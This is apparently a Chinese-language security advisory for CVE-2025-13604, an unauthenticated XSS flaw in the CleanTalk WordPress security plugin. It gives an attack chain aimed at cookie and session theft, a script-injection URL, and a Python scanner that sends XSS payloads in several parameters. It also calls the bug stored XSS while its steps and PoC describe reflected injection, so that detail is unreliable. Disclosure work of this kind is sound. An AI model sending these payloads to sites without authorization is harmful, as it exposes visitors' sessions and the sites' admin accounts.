CVE-2025-13604 WordPress CleanTalk插件存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-13604

漏洞类型

存储型跨站脚本攻击(XSS)

CVSS评分

7.2 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Login Security, FireWall, Malware removal by CleanTalk plugin for WordPress

漏洞概述

CVE-2025-13604是WordPress平台CleanTalk安全插件的一个高危漏洞。该插件集成了登录安全、防火墙和恶意软件清理功能，在全球范围内被广泛使用。漏洞源于插件对页面URL参数的输入清理和输出转义处理不当，导致未经身份认证的攻击者可以在受影响的页面中注入任意Web脚本代码。由于是存储型XSS漏洞，恶意脚本会被永久保存在服务器端，当任何用户访问包含恶意代码的页面时，攻击Payload会自动执行，可能导致会话劫持、敏感信息窃取、恶意重定向等严重后果。攻击者无需任何权限即可发起攻击，这大大降低了利用门槛，对使用该插件的所有WordPress网站构成威胁。

技术细节

该漏洞存在于CleanTalk插件的设置处理模块中，具体位于inc/spbc-settings.php文件的第2342行附近。问题根源在于插件直接获取页面URL参数后，未对其进行充分的输入验证和HTML转义处理。当攻击者构造包含恶意JavaScript代码的URL访问受影响的WordPress站点时，这些未经过滤的数据会被存储到数据库或页面响应中。由于插件在输出这些URL数据时缺少适当的输出转义（如htmlspecialchars()处理），浏览器会将其解析为可执行脚本。攻击者可以利用此漏洞注入窃取Cookie、键盘记录、页面篡改等恶意代码。由于脚本在受害者访问页面时自动执行，且能获取当前用户的上下文权限，因此可能造成严重影响。

攻击链分析

STEP 1

步骤1

攻击者识别使用CleanTalk插件（版本≤2.168）的WordPress站点

STEP 2

步骤2

攻击者构造包含恶意JavaScript代码的特殊URL参数（如?page=<script>恶意代码</script>）

STEP 3

步骤3

攻击者通过社会工程或其他方式诱使受害者访问构造的恶意URL

STEP 4

步骤4

受害者浏览器执行注入的恶意脚本，导致Cookie/会话信息被盗或页面被篡改

STEP 5

步骤5

攻击者利用窃取的凭证进行后续恶意活动，如管理员账户劫持

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-13604 Stored XSS PoC -->
<!-- 构造包含XSS Payload的URL -->
http://target-wordpress-site/?page=<script>alert(document.cookie)</script>

<!-- 自动化测试Python脚本 -->
import requests

target_url = "http://target-wordpress-site/"
payload = "<script>alert('XSS')</script>"

# 测试受影响的URL参数
test_urls = [
    f"{target_url}?page={payload}",
    f"{target_url}?page_url={payload}",
    f"{target_url}?redirect_to={payload}"
]

for url in test_urls:
    try:
        response = requests.get(url, timeout=10)
        if payload in response.text:
            print(f"[!] Potential XSS vulnerability found at: {url}")
            print(f"[+] Payload reflected in response")
        else:
            print(f"[-] No reflection at: {url}")
    except requests.RequestException as e:
        print(f"[E] Error testing {url}: {e}")

影响范围

CleanTalk Security Plugin for WordPress ≤ 2.168

防御指南

临时缓解措施

在官方补丁发布前，可暂时禁用CleanTalk插件或限制其页面访问权限。同时启用WordPress默认的XSS保护机制，并联系插件开发者获取安全更新。建议网站管理员审查服务器日志，排查是否存在异常的URL请求模式。